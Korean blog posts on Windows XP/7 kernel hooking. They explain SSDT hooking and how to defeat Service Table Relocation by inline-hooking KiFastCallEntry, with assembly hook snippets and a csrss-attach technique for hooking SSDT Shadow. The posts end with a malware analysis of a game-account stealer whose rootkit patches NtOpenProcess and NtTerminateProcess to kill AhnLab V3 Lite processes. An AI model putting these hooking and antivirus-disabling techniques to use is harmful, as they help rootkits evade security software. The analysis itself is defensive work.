요즘에는 SSDT후킹에 관한 정보들이 온라인상에 매우 많아졌고, 예제 코드또한 많아서 , 이에 대해서 잘 모른다고해도 , 몇번 쳐보고 실습해보면 금방 알수있게 되었습니다. SSDT후킹이라 함은,  System Service Descriptor Table 을 후킹한다는말인데, 좀더 구체적으로 살펴보면, 우선 커널에서 Export 하고있는 KeServiceDescriptorTable (또는 KeServiceDescriptorTableShadow)의 구조체를 살펴보면 다음과 같습니다.


typedef struct ServiceDescriptorEntry
{
UINT* ServiceTableBase;
UINT* ServiceCounterTableBase;
UINT NumberOfServices;
UCHAR* ParamTableBase;
} SSDT_Entry, *PSSDT_Entry;

typedef struct _SERVICE_DESCRIPTOR_TABLE {
SSDT_Entry ntoskrnl;          // Native API
SSDT_Entry win32k;           // GUI Sub System
SSDT_Entry reserved3; // Reserved.
SSDT_Entry reserved4; // Reserved.
} SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE; 


 대부분 SSDT후킹이라함은 , ntoskrnl(또는 win32k) . ServiceTableBase[INDEX]  를 따내는것이 대부분일것이고, 이것을 따내는목적은 시스템콜을 후킹함으로써 , 전역적으로 모든 쓰레드에 대하여 자신이 원하는 작업을 수행하게하려는 목적일것입니다. 그런데 이미 오래전부터 잘 알려진 사실이지만 ,  엄밀히 말하면  SSDT를 후킹하는것이   모든 쓰레드에 관해서 전역적으로 후킹한다는것은 틀린말입니다.
 윈도우에서 제공해주는 시스템API를 이용하여 쓰레드를 만들면 (또는 Main Thread 포함)  윈도우에서는 생성된 쓰레드를 효율적으로 관리하기위하여 , 커널레벨 내부적으로 ETHREAD , KTHREAD라는 Struct를 생성하여 관리합니다. 이중,  KTHREAD라는 구조체 내부를 살펴보면 다음과 같은 멤버가 있습니다.

(Windows XP Service Pack 3 기준)
   +0x0de NpxIrql          : UChar
   +0x0df InitialNode      : UChar
   +0x0e0 ServiceTable     : Ptr32 Void
   +0x0e4 Queue            : Ptr32 _KQUEUE
   +0x0e8 ApcQueueLock     : Uint4B
   +0x0f0 Timer            : _KTIMER

 즉 쓰레드마다  ServiceTable이라는 멤버를 가지고있고 , 특정 쓰레드에서 커널 시스템콜을 호출할 경우, 그 쓰레드는 자신의 KTHREAD의 ServiceTable 멤버를 참조하여 , 서비스 테이블을 찾아감을 알수 있습니다. 여기서 생각해보면 , 위 ServiceTable 멤버의 값을 임의로 바꿔버리게 되면 커널이 Export 하고있는 서비스테이블이 아닌, 다른 위치를 참조하게 된다는 말입니다.  먼저 ExAllocatePoolWithTag를 이용해서 메모리를 할당한뒤 , RtlCopyMemory 등을 이용하여, 원래의 서비스테이블 내용을 복사해주고 , ServiceTable멤버의 값을 새로 할당한 메모리주소로 바꿔주면 , 그때부터 그 쓰레드는 커널에서 Export 하고있는 서비스테이블을 참조하는것이 아니라 , 유저가 임의로 생성한 서비스테이블을 참조하게 되는것입니다. 흔히 SSDT를 따내면 전역적으로 후킹이 된다라고 하는것은 , 어플리케이션단에서 작동하는 쓰레드에 대해서 KTHREAD의 ServiceTable 멤버가 조작되지 않았을 경우에 한해서만 성립됩니다.  쓰레드마다 ServiceTable 멤버를 가지고있고 이 값이 변경되버리면 커널에서 Export 하고있는 SSDT를 후킹한다고 해도 , 그 후킹이 먹히지가 않을것이기 때문에 , 전역적인 후킹이라는것이 성립되지 않게 되는것이죠. 이것이 일명 Service Table Relocation이라고 하는것입니다. 이 Service Table Relocation은  SSDT후킹으로부터 보호하고자 하는 쓰레드를 대상으로해서 , 효율적으로 코드를 작성할수가 있어서 현업에서도 종종 이용되는것으로 알고있습니다. (1위 온라인 FPS 총게임에 채택된 보안솔루션도 이 방법을 쓰고있죠.)

 그런데 여기서 머리를 조금만 굴려보면 , 이 Service Table Relocation 도 무력화 시킬수 있는 방법이 있습니다. 즉 , 모든 쓰레드에 대하여 전역적인 SSDT후킹이 가능해지는것이죠. 그 방법은 KiFastCallEntry를 인라인 후킹하는 방법입니다. (뭐 잘 아시는분들이 수두룩할겁니다. 전혀 새로운 방법이 아니죠) KiFastCallEntry는  유저레벨에서  시스템콜을 호출해서  Ring Transaction이 이루어져서 커널레벨로 진입한뒤 , 제일 처음 호출되는 함수라는 의미에서 Entry라는 이름이 붙여진것같네요. 질질 끌지않고 바로 핵심내용을 살펴보면 KiFastCallEntry 함수 내부의 코드를 살펴보면 아래와 같은 내용이 있습니다.


805435bf 8bf8            mov     edi,eax
805435c1 c1ef08          shr     edi,8
805435c4 83e730          and     edi,30h
805435c7 8bcf            mov     ecx,edi
805435c9 03bee0000000    add     edi,dword ptr [esi+0E0h]
805435cf 8bd8            mov     ebx,eax
805435d1 25ff0f0000      and     eax,0FFFh
805435d6 3b4708          cmp     eax,dword ptr [edi+8]
805435d9 0f8333fdffff    jae     nt!KiBBTUnexpectedRange (80543312)
805435df 83f910          cmp     ecx,10h
805435e2 751b            jne     nt!KiFastCallEntry+0xcf (805435ff)
805435e4 648b0d18000000  mov     ecx,dword ptr fs:[18h]
805435eb 33db            xor     ebx,ebx
805435ed 0b99700f0000    or      ebx,dword ptr [ecx+0F70h]
805435f3 740a            je      nt!KiFastCallEntry+0xcf (805435ff)
805435f5 52              push    edx
805435f6 50              push    eax
805435f7 ff1548e75580    call    dword ptr [nt!KeGdiFlushUserBatch (8055e748)]
805435fd 58              pop     eax
805435fe 5a              pop     edx
805435ff 64ff0538060000  inc     dword ptr fs:[638h]
80543606 8bf2            mov     esi,edx
80543608 8b5f0c          mov     ebx,dword ptr [edi+0Ch]
8054360b 33c9            xor     ecx,ecx
8054360d 8a0c18          mov     cl,byte ptr [eax+ebx]
80543610 8b3f            mov     edi,dword ptr [edi]
80543612 8b1c87          mov     ebx,dword ptr [edi+eax*4]
80543615 2be1            sub     esp,ecx
80543617 c1e902          shr     ecx,2
8054361a 8bfc            mov     edi,esp
8054361c 3b3534415680    cmp     esi,dword ptr [nt!MmUserProbeAddress (80564134)]
80543622 0f83a8010000    jae     nt!KiSystemCallExit2+0x9f (805437d0)
80543628 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
8054362a ffd3            call    ebx

 제일 윗쪽의 진하게 표시된 부분을 보시면 ,  ESI + 0x0E0h 를 한다음 그것을 DWORD만큼 참조해서 연산을 수행하고 있습니다. 805435c9  에 EIP가 왔을때 , EDI의 값이 어떤지는 라이브 디버깅을 해보지않아서 현재로썬 모르겠지만, 여기서 ESI는 PKTHREAD일것이 분명할것이고 , 0x0E0는   ServiceTable 멤버의 Offset이라는거죠.   그다음 진한부분을 보시면  EDI 레지스터가 지니고있는 포인터를 DWORD만큼 참조하여 , EDI로 넣고 있습니다. EIP가 80543610에 왔을때 ,  EDI레지스터는  KeServiceDescriptorTable 또는 KeServiceDescriptorTableShadow의 값을 가지고 있을겁니다. 해당 라인이 수행되고나면 , EDI는 KiServiceTable 또는 W32pServiceTable 의 값을 가지게 될것입니다. 다음줄에서 EDI+EAX*4 연산을 수행하게되면, EBX는   KiServiceTable(또는 W32pServiceTable)  + (Service Number * 4) 의 값을 가지게 될것입니다. 즉 실제 Native 시스템콜이 구현되어져 있는부분의 주소값을 EBX가 가지게 된다는 말이죠. 그리고나서 맨 아랫줄에서 call ebx를 통하여 실제 시스템콜을 호출합니다. 그럼 여기서 핵심은 80543610 , 80543612인데, EIP가 80543610에 왔을때 EDI값은  KTHREAD의 ServiceTable 멤버를 참조하는것이 분명할것이기 때문에 , 이 부분을 인라인 후킹해주면 될것입니다. 후킹 함수는 다음과 같이 작성해볼 수 있겠죠.


__declspec(naked) VOID hookproc()
{
_asm
{
mov edi, dword ptr [edi]
cmp edi, OriginalSSDT
je RelocationMySSDT
cmp edi, OriginalSSDTShadow
je RelocationMySSDTShadow
jmp CalculateSystemCall
RelocationMySSDT:
mov edi, MyHookSSDT
jmp CalculateSystemCall
RelocationMySSDTShadow:
mov edi, MyHookSSDTShadow
jmp CalculateSystemCall
CalculateSystemCall:
mov ebx, dword ptr [edi+eax*4]
retn
}
}

위 naked 함수는 이미 특정 커널 드라이버에 의해서 Service Table Relocation 되버린 쓰레드를 걸러내는 기능을 하지는 못하고, 원본 SSDT, SSDTShadow 를 참조하는 쓰레드를 대상으로 전역적인 후킹이 가능하게끔 구현되어져 있지만,
PKTHREAD(KeGetCurrentThread)의  Win32Thread를 참조로하여 ,  그것의 TEST연산 결과를 이용하여(단순 GUI쓰레드 판별) , 그것이 Relocation되버린 쓰레드이건 , 커널의 서비스 테이블을 참조하고있는 쓰레드이건 상관없이, 강제적인 SSDT훅 , 또는 SDTShadow훅을 걸어버리게끔 코드 작성을 생각해볼 수 있습니다. 
 이렇게 하면 KTHREAD 단에서 ServiceTable의 멤버를 바꿔서 Relocation을 수행한다고 해도, KiFastCallEntry에서 Init을 수행하는 과정에서 후킹을 해버리기 때문에  , 모든 쓰레드에 대하여 전역적으로 후킹이 가능해질 것입니다. (사실 실제로 구현해보지는 않았습니다만, 될것으로 확신합니다.)  "KiFastCallEntry 후킹 + 시스템콜 (인라인)후킹"  을 써먹으면 매우 강력한 방법이 될것입니다.
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by Sone 2010.09.12 07:00
win32k.sys는 기본적으로 Paged 영역이고,
Current Thread가 GUI Thread일때 올라오는것으로 알고있다.
그래서 SSDT Shadow를 후킹하기 위해서는 , 
Current Thread가  System Thread가 아닌,  GUI Thread일때만 가능한것으로 알고있다.

최근 SSDT Shadow를 후킹하기 위해서 여러가지 방법을 찾아보던 중,
Csrss의 PID를 얻어온 뒤, KeAttachProcess한 뒤에,  SSDT Shadow를 훅 하는 방법이 있길래 코드로 적용해보았다.

사실 Csrss가 어떤 역할을 하는지, 또 KeAttachProcess를 왜 하는지 이 2가지를 아직 잘 모르곘는데,
아마 KeAttachProcess는 Current Thread를 GUi Thread로 만들기 위해서 하는것으로 보여지는데...확실치는 않다.
일단 원리는 나중에 습득하기로 하고 , 코드부터 적용을 해보았다.

짱깨가 짜놓은 코드를 약간 변형해서 짰는데...

if(!strncmp(ImageFileName, "csrss", 5) )
{
CsrssPid = PsGetCurrentProcessId();
if(!CsrssPid)
{
DbgPrint("Get Pid Failed!\n");
return;
}

if(AttachCsrssProcess())
{
DbgPrint("Attach Process Success!\n");
SSDTShadowHook();
KeDetachProcess();
//DbgPrint("KeDetachProcess Success!\n");
return;
}
else
DbgPrint("Attach Process Failed!\n");
}


그런데 ,  아직 커널 후킹에는 미숙한터라, 
Native Service를 후킹해서 Csrss를 걸러내기에는 좀 애메한점이 많아서,
하는수없이 MyKiFastCallEntry에다가 심어놓기로 했다. 
물론 IA32_SYSENTER_EIP도 후킹해놓아야 한다. (SSDT Shadow 후킹하려고 Sysenter까지 후킹을....-_-;;)

__declspec(naked) void MyKiFastCallEntry()
_asm 
pushad 
pushfd 
mov ecx, 0x23 
push 0x30 
pop fs 
mov ds, cx 
mov es, cx 

//
push edx
push eax
call IsTargetProcess
//
popfd 
popad 
jmp [d_orgKiFastCallEntry] 


IsTargetProcess 함수 내부에다가  위의 Csrss를 걸러내는 코드를 작성하였는데, 

이상하게 윈도7에서는 잘되는 반면, 윈XP에서는  KeAttachProcess에서  ntstatus.h에 정의되지않은 알수없는  NTSTATUS를 뿜으면서 BSOD가 뜨는걸 확인하였다.
구글링을 해봤지만 , 답변을 찾지못하고 MSDN을 살펴보았는데....
KeAttachProcess를 보니  다음과 같은 문장만 달랑 있다.

The KeAttachProcess routine is exported to support existing driver binaries and is obsolete. Use KeStackAttachProcess instead.



그냥 핵심은.....
KeAttachProcess는 구식이다!  KeStackAttachProcess를 사용해라!
이말이다.


왜 구식인지는 잘 모르겠다.  (아시는분은 가르쳐주시면 캄사하겠습니다.)
어쨌든 구식이라니 , 뭔가 마음에 걸려서  KeAttachProcess와 KeDetachProcess를   
KeStackAttachProcess,  KeUnstackDetachProcess로  대체하였다.


그 결과는..........
매우 잘된다!

PS. 아, 뒤늦게 생각났는데 PsSetCreateThreadNotifyRoutine에다가 등록을 해두고 PKTHREAD의 Win32Thread를 체킹하게끔하면 될것같네요. 해보진 않았지만.....


PS2.  유저 영역의  특정 쓰레드에서  USER/GDI 관련 API를 한번 호출한다음(ex. FindWindow) ,  DeviceIoControl을 통해서 드라이버에 후킹 신호를 보내서,  SSDTShadow를 따내도 된다고 하는군요...USER/GDI API를 호출하면  win32k가 올라오기 때문에 그런듯하네요.
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by Sone 2010.07.29 18:24
KiFastCallEntry의 후킹을 통한 간단한 모니터링 작업


(KiFastCallEntry : SYSENTER명령어는 IA32_SYSENTER_EIP  MSR 레지스터에 저장된 Instrution Pointer를 참조하여
해당 위치로 이동하는데  이때 , IA32_SYSENTER_EIP에는 KiFastCallEntry의 주소가 담겨있다.
KiFastCallEntry 함수의 뜻을 내멋대로 해석을 해보았는데 , 이것이 맞는지는 모르겠지만,
 흔히 SYSENTER 명령어를 이용하는 목적이 빠른 시스템 콜(FastCall)을 위한것이고 , 그것의 Entry Address , 즉 Fast System Call의 EntryPoint 개념이  KiFastCallEntry 함수라고 생각이 된다.)

SYSENTER :  아래는 IA-32 매뉴얼에서 발췌
The SYSENTER and SYSEXIT instructions were introduced into the IA-32 architecture in the Pentium II processors for the purpose of providing a fast (low overhead) mechanism for calling operating system or executive procedures. SYSENTER is intended for use by user code running at privilege level 3 to access operating system or executive procedures running at privilege level 0. SYSEXIT is intended for use by privilege level 0 operating system or executive procedures for fast returns to privilege level 3 user code. SYSENTER can be executed from privilege levels 3, 2, 1, or 0; SYSEXIT can only be executed from privilege level 0.

-> SYSENTER와 SYSEXIT명령어는   펜티엄2 프로세서부터 도입되었으며 ,  유저모드에서 운영체제 레벨로 빠른 특권전환과 함께 프로시져를 호출하는데 그 목적이 있다.SYSENTER는 보통 유저코드에서(Ring3) 커널코드(Ring0)로 특권전환을 이행해서 커널의 프로시져를 호출하는데 사용되는 경향이 있다. SYSEXIT는  Ring0에서 Ring3로 리턴하기 위해서 사용된다.  SYSENTER는  Ring3,2,1,0 에서 사용가능하며 , SYSEXIT는  Ring0에서만 사용 가능하다.

(주 : MS 운영체제에서는 Windows XP 부터 도입되었으며 , 이전의 NT운영체제는 INT 2E를 사용.
XP에서도 이전 NT의 호환성을 위해서 INT 2E를 사용하는 함수인 KiIIntSystemCall이라는 함수가 존재하긴 하나,
거의 사용하는 꼴을 보진 못하였다. 아마 호환성 체크에다가 Windows2000을 선택하면 KiIntSystemCall을 호출하려나?)


For SYSENTER, target fields are generated using the following sources:
•Target code segment — Reads this from IA32_SYSENTER_CS.
•Target instruction — Reads this from IA32_SYSENTER_EIP.
•Stack segment — Computed by adding 8 to the value in IA32_SYSENTER_CS.
•Stack pointer — Reads this from the IA32_SYSENTER_ESP.

For SYSEXIT, target fields are generated using the following sources:
•Target code segment — Computed by adding 16 to the value in the IA32_SYSENTER_CS.
•Target instruction — Reads this from EDX.
•Stack segment — Computed by adding 24 to the value in IA32_SYSENTER_CS.
•Stack pointer — Reads this from ECX.

IA32_SYSENTER_EIP에 관한 정보
Register Address : 0x176 (374d)
Architectural MSR Name : IA32_SYSENTER_EIP


ps. MSR레지스터에 관한 자세한 정보는 IA-32 매뉴얼 Volume 3B의  "Appendix B - Model-Specific Registers" 를 참조하시면 될듯..

mov ecx, Register Address
wrmsr
과  rdmsr  만 있으면  MSR을 마음대로 컨트롤 할수가 있다.
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by Sone 2010.04.20 02:16

본문을  읽기전에 필요한 사전지식으로는

* 윈도우 시스템에 대한 간략한 지식
* 어셈블리언어에 대한 이해
* C언어에 대한 이해
* 후킹 기술에 대한 이해
* 디버깅 경험

정도를 필요로 합니다.

위 이론들을 잘 모르신다면 , 글을 이해하는데 어려움이 있을수 있습니다.

 

우선 글의 목차를 말씀드립니다.

첫번째로는 , 악성코드의 전파경로가 어떻게되는지와 , Dropper 파일의 역할에 대해서 다룹니다.

두번째로는 , Ahnlab V3라이트가 어떤방식으로 해커가 의도한대로 무력화되는지에 대해서 다룹니다.

세번쩨로 , 넥슨ID와 비밀번호가 어떻게 탈취되는지에 대해서 다룹니다.




먼저 악성코드에 대한 설명부터 하겠습니다.

최근 들어 중국발 온라인게임 계정 유출을 목적으로 한 악성코드가 국내에 많이 퍼지고 있습니다.
이 악성코드는 자체적으로 네이트온 메신저를 해킹하여 , 계정과 비밀번호를 가로챈뒤 ,
사용자 몰래 어느 시점에 로그인을 수행해서  해당 사용자의 지인들을 대상으로 하여,
악성코드 다운로드 URL을 무차별적으로 전송시키는 기능을 가지고 있습니다.

쪽지의 내용은 대체적으로 아래와 비슷한 형식으로 퍼지고 있습니다.


하버드 15년 연구제작한 이미지는  뭐 헛소리라고 보시면 될듯하네요.
아마 15년동안 연구 제작한 악성코드 라고 봐야할까요?
어찌됐던 저 파란색 URL주소를 클릭하면  클릭 즉시 악성코드 다운로드 창이 바로 뜹니다.

여기서 하나 당부드리는건 , 저런 쪽지 받으시면 절대 클릭해서는 안된다는겁니다.
뭐 클릭한다고해서 바로 피해보는건 아니지만 막상 파일을 다운로드 받고나면 호기심에 실행해보시는 분들이 여럿 있습니다.
다운로드 받은 파일을 실행하는 즉시,  모든 작업이 이미 이루어져서 컴퓨터내부 곳곳에 뿌려지게 됩니다.


본문에서 분석 설명할 대상 샘플은 위 쪽지를 기반으로 하여 , 가장 최근에 입수한 샘플입니다.

File Name : Animation.scr
File Size : 245KB (251,869 Bytes)
File Date : ‎2010‎년 ‎3‎월 ‎20‎일 ‎토요일, ‏‎오후 7:36:16
CRC32 : B923AAA9
MD5 : F4012760ECD428AE2E717EDA88802AE9
SHA-1 : 520119DF0219800865BA57B4E0821FF4ECC3CEC5


중국해커들은 프로그램을 제작한 뒤  , Binder라는 종류의 프로그램을 써서
하나의 Fake목적의 사진 파일과 , 본질적인 목적의 악성코드 파일,  총 2개의 파일을 하나로 뭉치는 프로그램을 대부분 쓰고 있습니다.
그 결과물이 Animation.scr이라는 파일이고,
이렇게 하나로 뭉쳐진 파일을 실행하게되면 , Fake사진만 화면에 뜨고 모든것이 끝난것처럼 보이게 됩니다.

저는 항상 윈도우탐색기에서 확장자표시 기능을 쓰기 때문에 , Fake인지 쉽게 분간할 수 있지만
대부분의 컴퓨터 사용자들은 확장자표시 기능을 사용하고 있지 않기 때문에 , 저 파일이
화면보호기 파일인지 ,  일반 폴더를 나타내는것인지 바로바로 구분하기가 힘듭니다.
(사실 저도 처음엔 저게 폴더로 진입하는 것인줄 알고 , 한번 실행을 해버렸습니다. 즉, 낚였다는거죠 -_-;;)

scr파일을 풀어보면 2개의 파일이 존재합니다.
jpg는 그냥 쓰잘데기없는 파일이고 , godsan.exe가 핵심입니다.

보통 이러한 악성코드는 간단한 프로텍터로 암호화 해두는 경우가 많습니다.
PEiD 시그내쳐에서는  Morphine v1.2 라고 나오네요.
뭐 어떠한 종류의 Packer가 됐던간에 , 이러한 종류의 악성코드는 뻔한 수법을 쓸게 뻔하기 때문에 손쉽게 Unpacking이 가능합니다.
악성코드가 사용할 법한 API에다가 BreakPoint(중단점) 를 걸어두고 Execution(프로그램 실행) 을 시켜버리는것이죠.
예를 들어서 CreateFile 이란 API를 호출해서 파일을 드랍시킬것이 뻔하기 때문에 CreateFileW에만 BreakPoint를 걸고 Execution을 시켜도,
모든 Packer코드는 풀려져있고 , 악성코드는 하나도 뿌려지지않은 상태에 놓여지기때문에 손쉽게 언패킹이 가능합니다.

자세한 설명은 생략하기로 하고, 어찌됐건  godsan.exe라는 놈의 기능을 정리하면 아래와 같습니다.

1. 파일을 Drop 합니다. 곳곳에 뿌리기 때문에 초보분들은 파일을 전부다 색출해내기가 쉽지 않습니다.

한가지 웃긴게  중국 해커놈들이 요즘 대부분의 보안업체나 악성코드 분석가들이 이러한 종류의 악성코드들이 system32 경로에 뿌려지는것에 익숙해졌다고 판단해서,
이제 GetWindowsDirectory 호출을 해서  Windows Path를 얻어온뒤 , strcat으로 system 경로를 추가시킵니다.
즉 , C:\Windows\system  경로에다가 악성코드를 뿌리는것이지요.
그리고 DLL파일의 형태가 아닌 DAT파일과  log 파일로 뿌리는것을 확인할 수 있습니다.
이것은 일부 백신에서 EXE파일과 DLL파일 패턴의 위주로 빠르게 검사하는 알고리즘을 회피하기 위한 목적입니다.

(참고로  DLL을 DAT로 뿌린다고 해서 실행에는 아무런 문제가 없습니다. LoadLibrary 호출 후 GetProcAddress를 호출하는건 마찬가지로 정상작동 됩니다..)



------------핵심 파일들에 대한 간단한 분석------------
* 위 파일 목록에서 Exewen.exe  파일은  최초 유포파일인 godsan.exe와 100% 동일한 파일입니다.

* Lin.log 파일은  godsan.exe 파일의 PE헤더에서 MZ문자열을 ML 이라는 문자열로 바꿔버려서 PE파일이 아닌것처럼 속이기 위해서 저장된 파일입니다. 그 뒤에 Lin.log 파일을 Exewen.exe 라는 파일로 자기복제를 수행합니다.
이러한 작업의 수행은 Baidog.dat 파일 내부에서 이뤄집니다.
  이것또한 백신의 탐지를 우회하기 위해서 이런짓을 하는것으로 보여집니다.

* Baidog.DAT 파일이 실질적인 계정 유출을 담당하는 파일이며, 원래는 DLL 파일입니다.

* Lcomres.Dat 파일은 PE헤더 문자열이 ML로 조작되어져 있는 Exewen.exe 파일을 MZ문자열로 바꾸는 기능을 가지고 있습니다.

* Sting.log 파일은 MS윈도우 커널에 루트킷 드라이버를 로드시키기 위한 SYS 파일입니다.






2.  리버스 엔지니어링을 방지하기 위한 Code Obfuscation(코드 난독화)
거창하게 난독화 기법이 적용된건 아니고 , 중간중간에 조금씩 적용시켜놨네요.
마치 Themida SDK에서 제공하는 매크로 함수 형태처럼 적용시켜놓은것 같군요.
어찌됐건 저러한 난독화 기법이 분석하는데 영향을 줄 정도는 아닙니다.
분명한것은 , 이전 버젼의 이러한 악성코드는 난독화 기법은 쓰지않았었는데 , 최근 샘플은 좀 업그레이드 됐군요.


3. 윈도우 메시지 훅 프로시저 설치 - DLL Injection

Baidog.DAT파일을 LoadLibraryA -> GetProcAddress (Export된 Function Address를 구해옴) -> 전역 함수포인터에 주소를 저장
-> 전역 함수 포인터 호출


Export Function의 이름은 KaiShi 라는 이름의 함수였습니다.
KaiShi가 중국어 같은데 무슨말일까요?   - Kaishi : 시작하다 - 
KaiShi 함수는 윈도우메시지 훅 프로시저를 설치합니다. 유저 프로세스에 전역적으로 Baidog.Dat 를 인젝션을 하겠다는 목적이죠.



그럼 이제 Baidog.Dat 파일을  살펴봅시다.


여기서부터 Ahnlab의 V3라이트가 어떤방식으로 무력화 되는지에 대해서 다룹니다.

1. 루트킷 설치

Sting.log
이라는 놈을 sysnames.sys 라는 파일로 C:\Windows\system\에다가 복사한 뒤,
커널 드라이버를 로드합니다. 그 후 sysnames.sys 파일은 삭제시킵니다.

sysnames.sys  루트킷은  아래와 같이 SSDT Hooking의 역할을 수행합니다.



Hooking 타겟 Native API 함수는 아래와 같습니다.
NtOpenProcess
NtTerminateProcess


후킹된 부분을 디스어셈블 해보면 아래와 같습니다.

0: kd> u nt!NtOpenProcess
nt!NtOpenProcess:
805cd40a e941366878      jmp     sysnames+0xa50 (f8c50a50)
805cd40f 68c0c44d80      push    offset nt!ObWatchHandles+0x25c (804dc4c0)
805cd414 e87707f7ff      call    nt!_SEH_prolog (8053db90)
805cd419 33f6            xor     esi,esi                    (NtOpenProcess + 0x0F)
805cd41b 8975d4          mov     dword ptr [ebp-2Ch],esi
805cd41e 33c0            xor     eax,eax
805cd420 8d7dd8          lea     edi,[ebp-28h]
805cd423 ab              stos    dword ptr es:[edi]

NtOpenProcess 앞단을 따내서 자신의 드라이버영역으로 끌고오는것을 확인할 수 있습니다.
InterlockedExchange를 이용한  주소 교체 방식의 후킹을 수행하지않고, 인라인 후킹을 수행합니다.
이렇게 되면 SSDT Restore와  SSDT Hook에 구애받지 않고 , 원하는 목적을 수행할 수 있습니다.

점프된 영역을 디스어셈블 해보면 다음과 같습니다.
0: kd> u f8c50a50
sysnames+0xa50:
f8c50a50 68c4000000      push    0C4h
f8c50a55 8b358814c5f8    mov     esi,dword ptr [sysnames+0x1488 (f8c51488)]  esi = nt!ObWatchHandles+0x25c
f8c50a5b 56              push    esi
f8c50a5c ff159814c5f8    call    dword ptr [sysnames+0x1498 (f8c51498)]   원본 SEH설치 함수
f8c50a62 ff258c14c5f8    jmp     dword ptr [sysnames+0x148c (f8c5148c)]  NtOpenProcess+0xf 영역으로 점프
f8c50a68 cc              int     3
f8c50a69 cc              int     3
f8c50a6a cc              int     3

즉 , 이 코드의 최종흐름은 다음과 같습니다.
push 0x0c4
push    offset nt!ObWatchHandles+0x25c (804dc4c0)
call    nt!_SEH_prolog (8053db90)
xor     esi,esi                    (NtOpenProcess + 0x0F)
mov     dword ptr [ebp-2Ch],esi
............................

NtOpenProcess 후킹의 목적은 정보 가로챔등의 특별한 목적이 있는 후킹이 아니라,
Ahnlab의  SSDT Inline Hook을 무력화 하기 위해서 시행하는것으로 판단됩니다.
중국해커가 Ahnlab V3 Lite 의 정확한 분석을 통해서 드라이버를 작성한것으로 생각됩니다.


참고로 Ahnlab V3 Lite 나 HackShield 등에서 사용하고있는 NtOpenProcess 후킹방식은 
call nt!_SEH_prolog (8053db90) 부분을 Inline Patch 해서  보안모듈로 넘어오게끔 하는 방식으로 되어져 있습니다.


아래의 화면을 보시면 핵쉴드가 써먹는 NtOpenProcess 인라인 후킹 수법을 보여주고 있습니다.
원래 call    nt!_SEH_prolog (8053db90)  이 호출되어야 할 부분에서 EagleNT 모듈을 호출하는것을 확인할 수 있죠.
V3 백신도 이것과 동일하게 적용되어져 있습니다.





그런데 루트킷에 감염되게되면 다음과 같이 되죠.
스샷이 짤려서 보이게되면 , 클릭해서 보시면 됩니다.

보안프로그램에서 인라인 후킹해놓은 지점을 건너뛰어버립니다.
따라서 후킹하기전의 상태로 돌려놓는 것이 되버리죠.




다음은 NtTerminateProcess 입니다.
0: kd> u nt!NtTerminateProcess
nt!NtTerminateProcess:
805d49ac 8bff            mov     edi,edi
805d49ae 55              push    ebp
805d49af 8bec            mov     ebp,esp
805d49b1 83ec10          sub     esp,10h
805d49b4 53              push    ebx
805d49b5 56              push    esi
805d49b6 57              push    edi
805d49b7 64a124010000    mov     eax,dword ptr fs:[00000124h]
0: kd> u
nt!NtTerminateProcess+0x11:
805d49bd 837d0800        cmp     dword ptr [ebp+8],0
805d49c1 8bf8            mov     edi,eax
805d49c3 8b4744          mov     eax,dword ptr [edi+44h]
805d49c6 8945f0          mov     dword ptr [ebp-10h],eax
805d49c9 7406            je      nt!NtTerminateProcess+0x25 (805d49d1)
805d49cb c645ff01        mov     byte ptr [ebp-1],1
805d49cf eb08            jmp     nt!NtTerminateProcess+0x2d (805d49d9)
805d49d1 834d08ff        or      dword ptr [ebp+8],0FFFFFFFFh
0: kd> u
nt!NtTerminateProcess+0x29:
805d49d5 c645ff00        mov     byte ptr [ebp-1],0
805d49d9 8a8740010000    mov     al,byte ptr [edi+140h]
805d49df 6a00            push    0
805d49e1 8845f8          mov     byte ptr [ebp-8],al
805d49e4 8d45f8          lea     eax,[ebp-8]
805d49e7 50              push    eax
805d49e8 ff75f8          push    dword ptr [ebp-8]
805d49eb ff35b8595680    push    dword ptr [nt!PsProcessType (805659b8)]
0: kd> u
nt!NtTerminateProcess+0x45:
805d49f1 e97ac06778      jmp     sysnames+0xa70 (f8c50a70)
805d49f6 e8a58afeff      call    nt!ObReferenceObjectByHandle (805bd4a0)
805d49fb 85c0            test    eax,eax
805d49fd 8b75f8          mov     esi,dword ptr [ebp-8]
805d4a00 8bde            mov     ebx,esi
805d4a02 0f8ce8000000    jl      nt!NtTerminateProcess+0x144 (805d4af0)
805d4a08 8d8648020000    lea     eax,[esi+248h]
805d4a0e f6400120        test    byte ptr [eax+1],20h

ObReferenceObjectByHandle을 호출하기전에  자신의 드라이버로 건너뛰게 패치되어져 있습니다.
즉 , Ahnlab V3 라이트에서는  
call   nt!ObReferenceObjectByHandle (805bd4a0) 부분을 Inline Hook 작성해놨을 가능성이 크다는거죠.

결론적으로 NtOpenProcess와  NtTerminateProcess를 후킹하는목적은
Ahnlab V3 Lite의  자가보호 기능을 무력화 시키기 위함입니다.

강제 종료 로직은 , 유저모드 DLL에서 수행하는것이 아닌 , 커널모드 루트킷에서 강제종료를 수행하는것으로 분석되었습니다.
(나중에 해당 로직이 나옵니다.)


해커에게 표적이 된 프로세스 목록은 다음과 같습니다.

 'V3LTray.exe'
 'KSWebShield.exe'
'SgSvc.exe'
 'V3LSvc.exe'
 'V3Light.exe'


참고로 이 악성코드에 감염되게 되면 , 현재 V3 라이트가 실행중이라면 V3 라이트 가 종료되게 되고,
V3 라이트가 시스템에 설치되어져 있지않은 상태에서 , V3 라이트를 설치해서 실행하려고 하면
V3 라이트와 사이트가드 관련 서비스는 실시간으로 모두 강제 종료되게되서 , 전혀 작동하지 않는 상태가 됩니다.


 
이제 프로세스를 어떻게 강제로 종료시키는지, 해당 부분을 알아봅시다.
아래는 강제종료에 관련한 코드를  IDA Hexray를 이용해서 나타낸 것입니다.

(참고 : 아래 부분은 PsSetCreateProcessNotifyRoutine에 의해서 프로세스 생성 , 종료시 호출되는 NotifyRoutine으로 등록된 부분의 핵심부분을 나타낸겁니다.)


result = PsLookupProcessByProcessId(a2, &v9);
    if ( result >= 0 )
    {
      if ( v9 )
      {
        v4 = (const char *)PsGetProcessImageFileName(v9);
        if ( !stricmp(v4, "V3LTray.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v5 = (const char *)PsGetProcessImageFileName(v9);
        if ( !stricmp(v5, "KSWebShield.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v6 = (const char *)PsGetProcessImageFileName(v9);
